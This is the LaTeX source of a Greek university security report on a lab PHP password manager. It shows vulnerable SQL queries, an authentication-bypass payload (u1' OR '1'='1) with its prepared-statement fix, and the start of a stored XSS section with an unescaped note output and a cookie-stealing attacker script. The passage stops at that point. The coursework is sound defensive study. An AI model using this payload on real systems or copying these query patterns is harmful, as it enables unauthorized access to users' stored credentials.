1080 lines
81 KiB
TeX
Executable File
1080 lines
81 KiB
TeX
Executable File
%
|
||
% !TEX TS-program = xelatex
|
||
% !TEX encoding = UTF-8 Unicode
|
||
% !TEX spellcheck = el-GR
|
||
%
|
||
% Information Systems Security assignment report
|
||
%
|
||
% Requires compilation with XeLaTeX
|
||
%
|
||
% authors:
|
||
% Χρήστος Χουτουρίδης ΑΕΜ 8997
|
||
% cchoutou@ece.auth.gr
|
||
|
||
|
||
% Options:
|
||
%
|
||
% 1) mainlang=<language>
|
||
% Default: english
|
||
% Set the default language of the document which affects hyphenations,
|
||
% localization (section, dates, etc...)
|
||
%
|
||
% example: \documentclass[mainlang=greek]{AUThReport}
|
||
%
|
||
% 2) <language>
|
||
% Add hyphenation and typesetting support for other languages
|
||
% Currently supports: english, greek, german, frenc
|
||
%
|
||
% example: \documentclass[english, greek]{AUThReport}
|
||
%
|
||
% 3) short: Requests a shorter title for the document
|
||
% Default: no short
|
||
%
|
||
% example: \documentclass[short]{AUThReport}
|
||
%
|
||
\documentclass[a4paper, 11pt, mainlang=greek, english]{AUThReport/AUThReport}
|
||
|
||
\CurrentDate{\today}
|
||
|
||
% Greek report document setup suggestions
|
||
%---------------------------------
|
||
% Document configuration
|
||
\AuthorName{Χρήστος Χουτουρίδης}
|
||
\AuthorAEM{8997}
|
||
\AuthorMail{cchoutou@ece.auth.gr}
|
||
|
||
%\CoAuthorName{CoAuthor Name}
|
||
%\CoAuthorAEM{AEM}
|
||
%\CoAuthorMail{CoAuthor Mail}
|
||
|
||
% \WorkGroup{Ομάδα Χ}
|
||
|
||
\DocTitle{Εργασία Εξαμήνου}
|
||
\DocSubTitle{Ανάδειξη προβλημάτων ασφάλειας σε δικτυακή εφαρμογή αποθήκευσης κωδικών πρόσβασης (password manager) και αντιμετώπισή τους}
|
||
|
||
\Department{Τμήμα ΗΜΜΥ. Τομέας Ηλεκτρονικής}
|
||
\ClassName{Ασφάλεια Υπολογιστικών Συστημάτων}
|
||
|
||
\InstructorName{Γεώργιος Πάγκαλος}
|
||
\InstructorMail{pangalos@ece.auth.gr}
|
||
|
||
\CoInstructorName{Αθανάσιος Σιαχούδης}
|
||
\CoInstructorMail{asiach@ece.auth.gr}
|
||
|
||
|
||
% Local package requirements
|
||
%---------------------------------
|
||
%\usepackage{tabularx}
|
||
%\usepackage{array}
|
||
%\usepackage{commath}
|
||
|
||
\usepackage{amsmath, amssymb, amsfonts}
|
||
\usepackage{graphicx}
|
||
\usepackage{caption}
|
||
\usepackage{subcaption}
|
||
\usepackage{float}
|
||
|
||
\captionsetup[figure]{name=Εικόνα}
|
||
|
||
% Requires: -shell-escape compile argument
|
||
\usepackage{minted}
|
||
\usepackage{xcolor} %
|
||
|
||
\setminted[php]{
|
||
fontsize=\small,
|
||
breaklines,
|
||
autogobble,
|
||
baselinestretch=1.1,
|
||
tabsize=2,
|
||
numbersep=8pt,
|
||
startinline,
|
||
gobble=0
|
||
}
|
||
|
||
\setminted[sql]{
|
||
fontsize=\small,
|
||
breaklines,
|
||
autogobble,
|
||
baselinestretch=1.1,
|
||
tabsize=2,
|
||
numbersep=8pt,
|
||
gobble=0
|
||
}
|
||
|
||
\newcommand{\repo}{https://git.hoo2.net/hoo2/InformationSystemsSecurity}
|
||
\newcommand{\fixsqlitag}{https://git.hoo2.net/hoo2/InformationSystemsSecurity/releases/tag/fix-sqli}
|
||
\newcommand{\fixxsstag}{https://git.hoo2.net/hoo2/InformationSystemsSecurity/releases/tag/fix-xss}
|
||
|
||
|
||
\begin{document}
|
||
|
||
% Request a title page or header
|
||
\InsertTitle
|
||
|
||
\section{Εισαγωγή}
|
||
|
||
Η ασφάλεια των πληροφοριακών συστημάτων αποτελεί κρίσιμο παράγοντα στον σχεδιασμό και τη λειτουργία σύγχρονων δικτυακών εφαρμογών.
|
||
Ιδιαίτερα εφαρμογές που διαχειρίζονται ευαίσθητα δεδομένα, όπως κωδικούς πρόσβασης, προσωπικές πληροφορίες και διαπιστευτήρια πρόσβασης, αποτελούν συχνό στόχο επιθέσεων.
|
||
Η εκμετάλλευση ευπαθειών σε τέτοιες εφαρμογές μπορεί να οδηγήσει σε σοβαρές παραβιάσεις εμπιστευτικότητας, ακεραιότητας και διαθεσιμότητας των δεδομένων.
|
||
|
||
Σκοπός της παρούσας εργασίας είναι η μελέτη, ανάδειξη και αντιμετώπιση κενών ασφάλειας σε μία απλή διαδικτυακή εφαρμογή διαχείρισης κωδικών πρόσβασης (password manager).
|
||
Η εφαρμογή αυτή, αν και λειτουργικά επαρκής, υλοποιεί βασικές λειτουργίες χωρίς να λαμβάνει υπόψη θεμελιώδεις αρχές ασφάλειας λογισμικού.
|
||
Μέσα από την ανάλυση πραγματικών σεναρίων επίθεσης, η εργασία στοχεύει να καταδείξει πώς φαινομενικά μικρές παραλείψεις στον κώδικα μπορούν να οδηγήσουν σε σοβαρές ευπάθειες.
|
||
|
||
Η προσέγγιση που ακολουθείται είναι πρακτική και πειραματική.
|
||
Αρχικά δημιουργείται ένα ελεγχόμενο περιβάλλον εκτέλεσης της εφαρμογής.
|
||
Στη συνέχεια εντοπίζονται και εκμεταλλεύονται συγκεκριμένα κενά ασφάλειας, τεκμηριώνονται οι επιπτώσεις τους και τέλος προτείνονται και υλοποιούνται διορθωτικά μέτρα.
|
||
Με τον τρόπο αυτό επιτυγχάνεται τόσο η κατανόηση των μηχανισμών επίθεσης όσο και η εμπέδωση καλών πρακτικών ασφαλούς ανάπτυξης λογισμικού.
|
||
|
||
\subsection{Παραδοτέα}
|
||
Τα παραδοτέα της εργασίας αποτελούνται από:
|
||
\begin{itemize}
|
||
\item Την παρούσα αναφορά.
|
||
\item Τον κατάλογο \textit{passman-dev/} με τον κώδικα της εφαρμογής μετά τις αλλαγές.
|
||
\item Το \href{\repo}{σύνδεσμο} με το αποθετήριο που περιέχει όλο το project με τον κώδικα της εφαρμογής, τον κώδικα της αναφοράς, τα branch των διορθώσεων και τα παραδοτέα.
|
||
\end{itemize}
|
||
|
||
\section{Περιγραφή της εφαρμογής}
|
||
|
||
Η εφαρμογή που μελετάται αποτελεί ένα απλό web-based password manager, υλοποιημένο σε PHP και με χρήση σχεσιακής βάσης δεδομένων MySQL.
|
||
Η βασική της λειτουργία περιλαμβάνει τη δημιουργία λογαριασμών χρηστών, την αυθεντικοποίησή τους και την αποθήκευση διαπιστευτηρίων πρόσβασης σε τρίτους διαδικτυακούς τόπους.
|
||
Η εφαρμογή βασίζεται σε session management για τη διαχείριση της κατάστασης σύνδεσης και σε απλές SQL εντολές για την αλληλεπίδραση με τη βάση δεδομένων.
|
||
|
||
Η δομή της εφαρμογής είναι απλή και αποτελείται από διακριτά αρχεία PHP, καθένα εκ των οποίων είναι υπεύθυνο για συγκεκριμένη λειτουργικότητα:
|
||
|
||
\begin{itemize}
|
||
\item \textit{index.html}:
|
||
Αρχική σελίδα της εφαρμογής, η οποία παρέχει συνδέσμους προς τις επιμέρους λειτουργίες (εγγραφή, σύνδεση, πίνακας ελέγχου, σημειώσεις).
|
||
\item \textit{register.php}:
|
||
Υλοποιεί τη διαδικασία εγγραφής νέων χρηστών στη βάση δεδομένων.
|
||
Δέχεται στοιχεία από φόρμα και τα αποθηκεύει στον πίνακα χρηστών.
|
||
\item \textit{login.php}:
|
||
Υλοποιεί τη διαδικασία αυθεντικοποίησης χρηστών.
|
||
Ελέγχει τα παρεχόμενα διαπιστευτήρια και δημιουργεί session σε περίπτωση επιτυχούς σύνδεσης.
|
||
\item \textit{dashboard.php}:
|
||
Αποτελεί την κεντρική σελίδα μετά τη σύνδεση.
|
||
Παρέχει τη δυνατότητα προβολής, εισαγωγής και διαγραφής αποθηκευμένων διαπιστευτηρίων για ιστοσελίδες.
|
||
\item \textit{notes.php}:
|
||
Επιτρέπει την αποθήκευση και προβολή σημειώσεων ή ανακοινώσεων που σχετίζονται με τον χρήστη.
|
||
\item \textit{logout.php}:
|
||
Τερματίζει τη συνεδρία χρήστη και καταστρέφει τα δεδομένα session.
|
||
\item \textit{config.php}:
|
||
Περιέχει τις ρυθμίσεις σύνδεσης με τη βάση δεδομένων και χρησιμοποιείται από τα υπόλοιπα αρχεία μέσω include.
|
||
\end{itemize}
|
||
|
||
\section{Περιβάλλον δοκιμών και μεταφορά σε Docker}
|
||
|
||
Πριν την ανάλυση των κενών ασφάλειας κρίθηκε απαραίτητο να δημιουργηθεί ένα \textbf{ελεγχόμενο και αναπαραγώγιμο} περιβάλλον δοκιμών.
|
||
Αντί της χρήσης του προτεινόμενου περιβάλλοντος XAMPP, επιλέχθηκε η μεταφορά (porting) της εφαρμογής σε περιβάλλον \textbf{Docker}, το οποίο θεωρείται πιο σύγχρονη και ευέλικτη λύση.
|
||
|
||
Η επιλογή του Docker επιτρέπει την ακριβή καθοδήγηση των εκδόσεων λογισμικού που χρησιμοποιούνται, την εύκολη αναπαραγωγή του περιβάλλοντος σε διαφορετικά συστήματα και τον σαφή διαχωρισμό των επιμέρους υπηρεσιών.
|
||
Συγκεκριμένα, η εφαρμογή διαχωρίστηκε αρχικά σε δύο containers: έναν web server (Apache με PHP) και έναν database server (MariaDB).
|
||
Τον MariaDB τον χρησιμοποιούμε από το επίσημο αποθετήριο, αλλά τον web, τον χτίζουμε με δικό μας Dockerfile.
|
||
Στο τέλος της διαδικασίας προστέθηκε ένας ακόμα (caddy) που αναλαμβάνει το reverse proxy για το https.
|
||
|
||
Κατά τη διαδικασία μεταφοράς απαιτήθηκαν ορισμένες στοχευμένες αλλαγές:
|
||
\begin{itemize}
|
||
\item \textbf{Διαχείριση HTTP headers και sessions}:
|
||
Σε αντίθεση με το XAMPP, το περιβάλλον του Apache-php στο Docker χρησιμοποιεί αυστηρότερες ρυθμίσεις όσον αφορά την αποστολή HTTP headers.
|
||
Αυτό αποκάλυψε προβλήματα στη ροή του κώδικα, όπου HTML output προηγούνταν κλήσεων όπως \textit{session\_start()} και \textit{header()}.
|
||
Η λύση ήταν η αναδιάταξη του κώδικα, ώστε όλη η λογική ελέγχου και ανακατεύθυνσης να εκτελείται πριν από οποιοδήποτε HTML output.
|
||
|
||
\item \textbf{Συμβατότητα χαρακτήρων και collation βάσης δεδομένων}:
|
||
Η αρχική βάση δεδομένων χρησιμοποιούσε \textit{latin1} encoding, το οποίο προκάλεσε σφάλματα σε σύγχρονες εκδόσεις MariaDB.
|
||
Η λύση που επιλέχθηκε ήταν η ελάχιστη τροποποίηση του αρχείου αρχικοποίησης της βάσης ώστε να χρησιμοποιείται \textit{utf8mb4}, διατηρώντας κατά τα λοιπά το αρχικό schema.
|
||
|
||
\item \textbf{Αποθήκευση δεδομένων βάσης}:
|
||
Για την αποφυγή δημιουργίας πλήθους αρχείων στον κατάλογο του project, χρησιμοποιήθηκε Docker named volume για το data directory της MariaDB.
|
||
Με τον τρόπο αυτό επιτυγχάνεται καθαρή δομή έργου και μόνιμη αποθήκευση δεδομένων.
|
||
\end{itemize}
|
||
|
||
Οι παραπάνω αλλαγές ήταν απολύτως αναγκαίες για τη σωστή λειτουργία της εφαρμογής σε σύγχρονο περιβάλλον, χωρίς να αλλοιώνουν τη λογική ή τη δομή της αρχικής υλοποίησης.
|
||
|
||
\subsection{Δημιουργία και εκτέλεση της εφαρμογής}
|
||
|
||
Για την εκτέλεση και δοκιμή της εφαρμογής στο περιβάλλον Docker απαιτείται η ύπαρξη εγκατεστημένου Docker και Docker Compose στο σύστημα.
|
||
Αφού ληφθεί ο πηγαίος κώδικας της εφαρμογής από το αποθετήριο, η διαδικασία εκκίνησης είναι πλήρως αυτοματοποιημένη.
|
||
|
||
Η δημιουργία των απαραίτητων images και η εκκίνηση των containers πραγματοποιείται με την εντολή:
|
||
\begin{minted}[fontsize=\small]{bash}
|
||
docker compose up -d --build
|
||
\end{minted}
|
||
|
||
Με την παραπάνω εντολή δημιουργείται το image του web server (Apache με PHP), εκκινείται η υπηρεσία της βάσης δεδομένων MariaDB και εκτελείται αυτόματα το αρχείο αρχικοποίησης της βάσης δεδομένων.
|
||
Τα δεδομένα της βάσης αποθηκεύονται σε Docker named volume, εξασφαλίζοντας τη διατήρησή τους μεταξύ επανεκκινήσεων των containers.
|
||
|
||
Μετά την επιτυχή εκκίνηση, η εφαρμογή είναι προσβάσιμη μέσω web browser στη διεύθυνση:\\
|
||
\texttt{http://localhost/passman}.\\
|
||
Για περισσότερες πληροφορίες μπορείτε να επισκεφτείτε το \href{\repo}{αποθετήριο} της εφαρμογής.
|
||
|
||
Για λόγους δοκιμών και ανάλυσης, είναι επίσης δυνατή η απευθείας πρόσβαση στη βάση δεδομένων μέσω τερματικού, χρησιμοποιώντας την εντολή:
|
||
\begin{minted}[fontsize=\small]{bash}
|
||
docker compose exec db mariadb -uroot -prootpass
|
||
\end{minted}
|
||
|
||
Μέσω της παραπάνω πρόσβασης είναι δυνατή η εκτέλεση SQL εντολών για την επιβεβαίωση της κατάστασης της βάσης δεδομένων, καθώς και η τεκμηρίωση των επιπτώσεων επιθέσεων και διορθωτικών παρεμβάσεων που παρουσιάζονται στα επόμενα τμήματα της εργασίας.
|
||
|
||
\section{SQL Injection}
|
||
\label{sec:sqli}
|
||
|
||
Το πρώτο κενό ασφάλειας που εξετάζεται αφορά την ευπάθεια σε επιθέσεις SQL Injection.
|
||
Η ευπάθεια αυτή προκύπτει όταν δεδομένα που παρέχονται από τον χρήστη \textbf{ενσωματώνονται απευθείας} σε SQL εντολές, χωρίς κατάλληλη επικύρωση ή χρήση μηχανισμών παραμετροποίησης (prepared statements).
|
||
Αποτέλεσμα είναι ο επιτιθέμενος να μπορεί να αλλοιώσει τη λογική του SQL query, οδηγώντας σε μη εξουσιοδοτημένη πρόσβαση ή/και διαρροή δεδομένων.
|
||
|
||
Στην εφαρμογή, η ευπάθεια εντοπίζεται σε πολλά σημεία και παρότι θα τα λύσουμε όλα, εδώ παραθέτουμε ως παράδειγμα την ευπάθεια στο \textit{login.php}, καθώς αυτό είναι ίσως οτ πιο σοβαρό.
|
||
Η είσοδος του χρήστη (username/password), όπως φαίνεται στο απόσπασμα παρακάτω, εισάγεται απευθείας στο query αυθεντικοποίησης μέσω string concatenation.
|
||
\begin{minted}{php}
|
||
$sql_query =
|
||
"SELECT * FROM login_users WHERE username='{$username}' AND password='{$password}';";
|
||
\end{minted}
|
||
\label{lst:sqli-login-query}
|
||
Στο συγκεκριμένο σημείο, το περιεχόμενο των μεταβλητών \textit{\$username} και \textit{\$password} \textbf{δεν υφίσταται κανέναν έλεγχο ή escaping}.
|
||
Επομένως, ένας επιτιθέμενος μπορεί να εισάγει ειδικούς χαρακτήρες (π.χ. \texttt{'}) και SQL τελεστές (π.χ. \texttt{OR}) ώστε να παρακάμψει τη συνθήκη αυθεντικοποίησης.
|
||
|
||
\begin{figure}[!ht]
|
||
\centering
|
||
\begin{subfigure}{.48\textwidth}
|
||
\centering
|
||
\includegraphics[width=\linewidth]{img/sqli-LoginScreen.png}
|
||
\caption{Φόρμα σύνδεσης με εισαγωγή κακόβουλου payload στο πεδίο username.}
|
||
\label{fig:sqli_login_screen}
|
||
\end{subfigure}
|
||
\hfill
|
||
\begin{subfigure}{.48\textwidth}
|
||
\centering
|
||
\includegraphics[width=\linewidth]{img/sqli-LoginProof.png}
|
||
\caption{Επιτυχής πρόσβαση στον πίνακα ελέγχου μετά από SQL injection.}
|
||
\label{fig:sqli_login_proof}
|
||
\end{subfigure}
|
||
\caption{SQL Injection.}
|
||
\end{figure}
|
||
|
||
Στην Εικόνα~\ref{fig:sqli_login_screen} παρουσιάζεται η φόρμα σύνδεσης, στην οποία εισάγεται payload της μορφής
|
||
\texttt{u1' OR '1'='1} στο πεδίο username, με αυθαίρετη τιμή στο password.
|
||
Με τον τρόπο αυτό, η συνθήκη του \texttt{WHERE} αλλοιώνεται ώστε να επιστρέφει εγγραφές ανεξάρτητα από το πραγματικό password.
|
||
Στη συνέχεια, ο χρήστης αποκτά πρόσβαση στον πίνακα ελέγχου (dashboard), όπως φαίνεται στην Εικόνα~\ref{fig:sqli_login_proof}.
|
||
|
||
Η επιτυχής εκμετάλλευση της ευπάθειας μπορεί να τεκμηριωθεί και σε επίπεδο βάσης δεδομένων, μέσω του \textit{general\_log} της MariaDB, όπου καταγράφεται το τελικό query που εκτελέστηκε από την εφαρμογή.
|
||
\begin{figure}[!ht]
|
||
\centering
|
||
\includegraphics[width=1.0\textwidth]{img/sqli-DBquery.png}
|
||
\caption{Καταγραφή του τελικού SQL query στη MariaDB (\textit{general\_log}), όπου φαίνεται η αλλοίωση της συνθήκης αυθεντικοποίησης από το injected input.}
|
||
\label{fig:sqli_db_query}
|
||
\end{figure}
|
||
Η Εικόνα~\ref{fig:sqli_db_query} δείχνει ότι το query αυθεντικοποίησης πλέον περιέχει την πρόσθετη συνθήκη \texttt{OR '1'='1'},
|
||
με αποτέλεσμα η αυθεντικοποίηση να μπορεί να παρακαμφθεί.
|
||
|
||
Τέλος, στην Εικόνα~\ref{fig:sqli_db_users} παρουσιάζονται τα περιεχόμενα του πίνακα \texttt{login\_users}, επιβεβαιώνοντας ότι
|
||
η πρόσβαση αποκτήθηκε χωρίς να τροποποιηθούν τα δεδομένα της βάσης (δηλαδή πρόκειται για bypass του μηχανισμού αυθεντικοποίησης και όχι για αλλαγή/εισαγωγή δεδομένων).
|
||
|
||
\begin{figure}[!ht]
|
||
\centering
|
||
\includegraphics[width=0.70\textwidth]{img/sqli-DBusers.png}
|
||
\caption{Περιεχόμενα του πίνακα \texttt{login\_users} στη βάση δεδομένων (επιβεβαίωση ότι τα credentials παραμένουν αμετάβλητα).}
|
||
\label{fig:sqli_db_users}
|
||
\end{figure}
|
||
|
||
Η συγκεκριμένη ευπάθεια θεωρείται \textbf{ιδιαίτερα σοβαρή}, καθώς υπονομεύει πλήρως τον μηχανισμό αυθεντικοποίησης και \textbf{επιτρέπει μη εξουσιοδοτημένη πρόσβαση σε ευαίσθητα δεδομένα}.
|
||
|
||
\subsection{Αντιμετώπιση SQL Injection}
|
||
\label{sec:sqli_fix}
|
||
|
||
Η αντιμετώπιση του SQL Injection βασίζεται στη θεμελιώδη αρχή του διαχωρισμού \textit{δεδομένων} από \textit{εντολές}.
|
||
Το πρόβλημα στην αρχική υλοποίηση προέκυπτε επειδή το SQL query κατασκευαζόταν μέσω \textbf{απλής συνένωσης (string concatenation)} με δεδομένα που παρείχε ο χρήστης.
|
||
Έτσι, ειδικοί χαρακτήρες και τελεστές SQL μπορούσαν να εισαχθούν ως μέρος της συμβολοσειράς, με αποτέλεσμα να αλλοιώνεται η σύνταξη και η λογική της SQL εντολής.
|
||
|
||
Η καθιερωμένη πρακτική αντιμετώπισης, η οποία προτείνεται τόσο από τις επίσημες οδηγίες ασφαλούς κωδικοποίησης (secure coding guidelines) όσο και από τον οργανισμό OWASP (Open Worldwide Application Security Project), είναι η χρήση \textbf{prepared statements} με παραμέτρους (parameterized queries).
|
||
Με τη χρήση prepared statements, ο SQL server λαμβάνει πρώτα το statement (template) και στη συνέχεια τις \textbf{παραμέτρους ως δεδομένα}, χωρίς να επιτρέπεται η ερμηνεία τους ως τμήμα της SQL σύνταξης.
|
||
Ως αποτέλεσμα, οποιαδήποτε κακόβουλη είσοδος αντιμετωπίζεται ως απλό κείμενο (data) και όχι ως εκτελέσιμο SQL.
|
||
|
||
\subsection{Υλοποίηση της διόρθωσης}
|
||
Στο αρχείο \textit{login.php} αντικαταστάθηκε η δυναμική δημιουργία του SQL query με prepared statement και bind παραμέτρων.
|
||
Στο Απόσπασμα~\ref{lst:sqli-fix-login} παρουσιάζεται ο διορθωμένος κώδικας.
|
||
Η SQL εντολή ορίζεται με placeholders (\texttt{?}) και οι τιμές \textit{\$username} και \textit{\$password} περνούν μέσω \textit{bind\_param()}, ώστε να μην μπορούν να επηρεάσουν τη δομή της εντολής.
|
||
|
||
\begin{minted}{php}
|
||
// SQL injection mitigation: use a prepared statement with bound parameters.
|
||
// User input is treated strictly as data, not as part of the SQL syntax.
|
||
$stmt = $conn->prepare("SELECT id FROM login_users WHERE username = ? AND password = ?");
|
||
if ($stmt === false) {
|
||
die("Prepare failed.");
|
||
}
|
||
$stmt->bind_param("ss", $username, $password);
|
||
$stmt->execute();
|
||
$stmt->store_result();
|
||
// Authentication succeeds only if exactly one row matches.
|
||
if ($stmt->num_rows >= 1) {
|
||
$_SESSION['loggedin'] = true;
|
||
$_SESSION['username'] = $username;
|
||
|
||
$stmt->close();
|
||
$conn->close();
|
||
// ...
|
||
}
|
||
\end{minted}
|
||
\label{lst:sqli-fix-login}
|
||
|
||
\subsection{Επαλήθευση της διόρθωσης}
|
||
Η αποτελεσματικότητα της διόρθωσης επιβεβαιώθηκε πειραματικά με το ίδιο payload που χρησιμοποιήθηκε στην επίδειξη της ευπάθειας.
|
||
Στην Εικόνα~\ref{fig:sqli_fix_login_screen} φαίνεται η προσπάθεια σύνδεσης με το injection string στο πεδίο username.
|
||
Η εφαρμογή πλέον απορρίπτει την προσπάθεια σύνδεσης και εμφανίζει μήνυμα αποτυχίας, όπως φαίνεται στην Εικόνα~\ref{fig:sqli_fix_login_proof}.
|
||
|
||
\begin{figure}[!ht]
|
||
\centering
|
||
\begin{subfigure}{.48\textwidth}
|
||
\centering
|
||
\includegraphics[width=\linewidth]{img/sqli-LoginScreenFix.png}
|
||
\caption{Δοκιμή του ίδιου SQLi payload μετά τη διόρθωση.}
|
||
\label{fig:sqli_fix_login_screen}
|
||
\end{subfigure}%
|
||
\hfill
|
||
\begin{subfigure}{.48\textwidth}
|
||
\centering
|
||
\includegraphics[width=\linewidth]{img/sqli-LoginProofFix.png}
|
||
\caption{Αποτυχία σύνδεσης μετά τη διόρθωση.}
|
||
\label{fig:sqli_fix_login_proof}
|
||
\end{subfigure}%
|
||
\caption{SQL Injection: Fixed.}
|
||
\end{figure}
|
||
|
||
Περαιτέρω επιβεβαίωση παρέχεται από τα logs της βάσης (general log), όπου φαίνεται ότι η εντολή εκτελείται ως παραμετροποιημένο statement με placeholders και όχι ως query που περιέχει ενσωματωμένο το injected payload.
|
||
Στην Εικόνα~\ref{fig:sqli_fix_db_query} παρατηρείται η παρουσία της μορφής \texttt{username = ? AND password = ?}, γεγονός που υποδηλώνει ότι ο server λαμβάνει το statement ανεξάρτητα από τα δεδομένα εισόδου.
|
||
|
||
\begin{figure}[!ht]
|
||
\centering
|
||
\includegraphics[width=1.0\textwidth]{img/sqli-DBqueryFix.png}
|
||
\caption{Καταγραφή στη MariaDB μετά τη διόρθωση: εκτέλεση παραμετροποιημένου statement (\texttt{?}) αντί για δυναμικά κατασκευασμένο query.}
|
||
\label{fig:sqli_fix_db_query}
|
||
\end{figure}
|
||
|
||
Συνεπώς, η χρήση prepared statements εξαλείφει το συγκεκριμένο κενό ασφάλειας στο σημείο αυθεντικοποίησης, διατηρώντας παράλληλα αμετάβλητη τη λειτουργικότητα της εφαρμογής.
|
||
|
||
|
||
\subsection{Περαιτέρω σημεία ευπάθειας σε SQL Injection}
|
||
|
||
Πέρα από το αρχικό κενό ασφάλειας στον μηχανισμό αυθεντικοποίησης, εντοπίστηκαν \textbf{επιπλέον σημεία} στην εφαρμογή όπου SQL εντολές κατασκευάζονταν δυναμικά μέσω συνένωσης συμβολοσειρών με δεδομένα προερχόμενα από τον χρήστη ή από session μεταβλητές.
|
||
Τα σημεία αυτά δημιουργούν πρόσθετες επιφάνειες επίθεσης και καθιστούν την εφαρμογή ευάλωτη σε άμεσες ή έμμεσες (second-order) επιθέσεις SQL Injection.
|
||
|
||
\subsubsection{Εγγραφή νέων χρηστών (\textit{register.php})}
|
||
Στο αρχείο \textit{register.php}, η εγγραφή νέου χρήστη υλοποιούνταν με απευθείας ενσωμάτωση των πεδίων \textit{username} και \textit{password} σε εντολή \texttt{INSERT}.
|
||
Το Απόσπασμα παρακάτω παρουσιάζει τον προβληματικό κώδικα:
|
||
\begin{minted}{php}
|
||
// Vulnerable SQL construction: user-controlled input is concatenated directly.
|
||
$sql_query = "INSERT INTO login_users (username,password)
|
||
VALUES ('{$new_username}','{$new_password}');";
|
||
$result = $conn->query($sql_query);
|
||
\end{minted}
|
||
\label{lst:sqli-register}
|
||
|
||
\subsubsection{Αποθήκευση σημειώσεων (\textit{notes.php})}
|
||
Στο \textit{notes.php}, η αποθήκευση νέων σημειώσεων πραγματοποιούνταν με δυναμική κατασκευή εντολής \texttt{INSERT}, η οποία περιλάμβανε τόσο το περιεχόμενο της σημείωσης όσο και το \textit{username} του συνδεδεμένου χρήστη.
|
||
Ο προβληματικός κώδικας φαίνεται στο Απόσπασμα εδώ:
|
||
\begin{minted}{php}
|
||
// Vulnerable SQL construction: note content and session data are injected into SQL.
|
||
$sql_query = "INSERT INTO notes (login_user_id, note)
|
||
VALUES ((SELECT id FROM login_users WHERE username='{$username}'), '{$new_note}')";
|
||
$result = $conn->query($sql_query);
|
||
\end{minted}
|
||
\label{lst:sqli-notes}
|
||
|
||
Παρότι το \textit{username} προέρχεται από session μεταβλητή, δεν μπορεί να θεωρηθεί έμπιστο, καθώς μπορεί να αλλοιωθεί σε σενάρια XSS ή session hijacking.
|
||
|
||
\subsubsection{Διαχείριση διαπιστευτηρίων ιστοσελίδων (\textit{dashboard.php})}
|
||
Στο αρχείο \textit{dashboard.php} εντοπίστηκαν πολλαπλά σημεία SQL Injection που αφορούν την εισαγωγή, διαγραφή και προβολή αποθηκευμένων διαπιστευτηρίων.
|
||
Ενδεικτικά, το Απόσπασμα παρακάτω δείχνει τον τρόπο εισαγωγής νέας εγγραφής:
|
||
\begin{minted}{php}
|
||
// Vulnerable SQL construction: multiple user-controlled fields concatenated.
|
||
$sql_query = "INSERT INTO websites (login_user_id,web_url,web_username,web_password)
|
||
VALUES ((SELECT id FROM login_users WHERE username='{$username}'),
|
||
'{$new_website}','{$new_username}','{$new_password}');";
|
||
$result = $conn->query($sql_query);
|
||
\end{minted}
|
||
\label{lst:sqli-dashboard-insert}
|
||
|
||
Αντίστοιχα, η διαγραφή εγγραφών βασιζόταν σε δυναμικά κατασκευασμένη εντολή \texttt{DELETE}, όπως φαίνεται στο επόμενο Απόσπασμα.
|
||
|
||
\begin{minted}{php}
|
||
// Vulnerable DELETE statement: identifier injected directly into SQL.
|
||
$sql_query = "DELETE FROM websites WHERE webid='{$webid}';";
|
||
$result = $conn->query($sql_query);
|
||
\end{minted}
|
||
\label{lst:sqli-dashboard-delete}
|
||
|
||
Τέλος, ακόμη και η προβολή της λίστας διαπιστευτηρίων βασιζόταν σε SQL εντολή με απευθείας ενσωμάτωση session μεταβλητών.
|
||
\begin{minted}{php}
|
||
// Vulnerable SELECT statement: session data treated as trusted input.
|
||
$sql_query = "SELECT * FROM websites
|
||
INNER JOIN login_users ON websites.login_user_id=login_users.id
|
||
WHERE login_users.username='{$username}';";
|
||
$result = $conn->query($sql_query);
|
||
\end{minted}
|
||
\label{lst:sqli-dashboard-select}
|
||
|
||
Η συνολική αντιμετώπιση των παραπάνω σημείων βασίστηκε στην ίδια αρχή με το αρχικό SQL Injection, ότι \textbf{καμία τιμή που επηρεάζει τη σύνταξη SQL εντολής δεν ενσωματώνεται πλέον απευθείας στο query}.
|
||
Όλα τα παραπάνω αντικαταστάθηκαν με prepared statements και δεσμευμένες παραμέτρους, εξαλείφοντας τόσο άμεσα όσο και έμμεσα σενάρια SQL Injection.
|
||
Ο αναγνώστης μπορεί \href{\fixsqlitag}{εδώ} να βρει το branch με όλες τις αλλαγές.
|
||
|
||
|
||
% =====================================================================
|
||
% Stored XSS
|
||
% =====================================================================
|
||
|
||
\section{Stored XSS}
|
||
\label{sec:xss_notes}
|
||
|
||
Η συγκεκριμένη εφαρμογή είναι ευάλωτη σε \textit{Stored Cross-Site Scripting (Stored XSS)} σε αρκετά σημεία.
|
||
Όπως και πριν, αρχικά θα επικεντρωθούμε σε ένα και πιο συγκεκριμένα σε αυτό μέσω της λειτουργίας σημειώσεων (\textit{notes}), ώστε να παρουσιάσουμε το πρόβλημα και τη τεχνική αντιμετώπισης, και έπειτα θα αναφέρουμε και τα υπόλοιπα σημεία.
|
||
|
||
Η ευπάθεια προκύπτει όταν περιεχόμενο που εισάγει ο χρήστης αποθηκεύεται στη βάση δεδομένων και στη συνέχεια προβάλλεται -- πιθανόν σε άλλους χρήστες -- χωρίς κατάλληλη κωδικοποίηση εξόδου (output encoding).
|
||
Ως αποτέλεσμα, κακόβουλος κώδικας JavaScript μπορεί να εκτελεστεί στον browser του θύματος με τα δικαιώματα του αντίστοιχου session.
|
||
|
||
\subsection{XSS στο \textit{notes.php}}
|
||
Στο \textit{notes.php}, οι αποθηκευμένες σημειώσεις προβάλλονται απευθείας μέσα σε HTML με χρήση \texttt{echo}, χωρίς escaping.
|
||
Ενδεικτικά, το Απόσπασμα παρακάτω δείχνει το προβληματικό σημείο: το \texttt{\$row["note"]} (δεδομένο από τη βάση) θεωρείται ως έμπιστο και εισάγεται αυτούσιο στο DOM.
|
||
\begin{minted}{php}
|
||
while ($row = $result -> fetch_assoc()) {
|
||
echo "<div class='note'>";
|
||
echo "<div class='note-content'>" . $row["note"] . "</div>";
|
||
echo "<div class='note-signature'> by " . $row["username"] . "</div>";
|
||
// ...
|
||
\end{minted}
|
||
\label{lst:xss-notes-echo}
|
||
|
||
\subsection{Attacker-side υποδομή}
|
||
Για την τεκμηρίωση της επίθεσης, χρησιμοποιήθηκε ο υποκατάλογος \textit{xss/} ως ``attacker side''.
|
||
Το \textit{getcookie.php} δέχεται μία τιμή μέσω παραμέτρου \texttt{v} και την αποθηκεύει στο \textit{stolencookies.txt}.
|
||
